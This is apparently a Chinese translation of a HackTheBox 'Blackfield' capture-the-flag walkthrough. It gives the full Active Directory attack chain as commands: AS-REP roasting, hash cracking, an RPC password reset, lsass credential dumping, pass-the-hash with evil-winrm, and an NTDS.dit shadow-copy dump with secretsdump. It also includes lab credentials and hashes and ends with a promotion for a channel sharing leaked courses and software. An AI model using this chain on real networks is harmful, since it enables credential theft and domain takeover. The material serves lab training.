我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案。
在本文中,我将使用ASRep Roasting定义用户,使用RPC更改密码并劫持帐户,然后使用NTDS.DIT卷影副本提升特权。
与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机进行连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.192,我将其添加到/ etc / hosts。
10.10.10.192 blackfield.htb
第一步是扫描打开的端口。我使用以下脚本执行此操作,该脚本带有一个参数-要扫描的主机的地址:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
我们看到了很多开放的端口,但是像往常一样,让我们从SMB开始。让我们看看是否可以在不登录的情况下做一些事情。
smbmap -u anonymous -H 10.10.10.192
我们可以读取目录配置文件$。
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2
我们有大量的潜在用户。我们可以检查系统中实际存在哪些用户。事实是,在ASRep Roasting攻击期间,服务器具有三种不同的响应:
- 用户密码的哈希值;
- 该用户没有设置UAF不需要PreAuth;
- Kerberos数据库中没有这样的用户。
因此,我们将能够找出谁是谁,谁不是。
入口点
首先,让我们获得一个列表。
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
现在让我们进行ASRep-Roasting。
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt
当哈希返回给我们时,我感到很惊讶。让我们咕him他。
john support.hash -w=./tools/rockyou.txt
而且我们有一个完整的受控帐户。现在,让我们使用enum4linux获得尽可能多的信息。
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null
我们将获得大量晦涩难懂的用户,但最有趣的是组成员身份。这将告诉我们svc_backup在RMU组(RID:580)中,该组允许使用Win-RM进行远程连接。
我们无法从SMB获得任何其他东西,但是在LDAP中找不到任何东西。但是事实证明,在RPC中,有一个窍门。让我们连接:
rpcclient 10.10.10.192 -U support
事实上,可以用相同的特权更改用户的密码,此处详细介绍了所有内容。我设法做到了为用户audit2020。
setuserinfo2 audit2020 18 'ralf'
现在,我们从头开始分析所有资源和服务,因为我们有另一个受控帐户。
用户
我们去SMB。
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192
有很多内容可供阅读,最好以递归方式显示所有内容并一次性查看。
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R
显然,在鉴证\ memory_analysis文件夹中,我们找到了lsass进程的转储。从中我们可以使用mimikatz获得密码。下载此文件。
smbclient.py blackfield.local/audit2020:ralf@10.10.10.192
现在,让我们转到Windows计算机并使用mimikatz。
并且,知道了哈希值,我们使用Evil-WinRM代表svc_backup进行连接。
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
根
让我们看看组和用户权限。
我们拥有SeBackupPrivilege特权。这使我们有权创建包含大量凭据的NTDS文件的卷影副本。创建副本后,我们不能简单地提取所需的文件。为此,我们需要以下DLL。
让我们制作一个卷影副本。让我们创建一个包含以下内容的文件。
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:
现在,我们将其上传并下载到主机库。
让我们执行卷影复制。
diskshadow /s ds.txt
并转储文件。
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
但是这个文件是加密的,为了解密它,我们需要SYSTEM文件,这不是问题。
reg save HKLM\SYSTEM C:\Temp\SYSTEM
从计算机下载两个文件。
然后,我们使用来自impacket包中的secretsdump来获得哈希值。
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
让我们以管理员身份连接。
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
我们对此机器拥有完全控制权。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。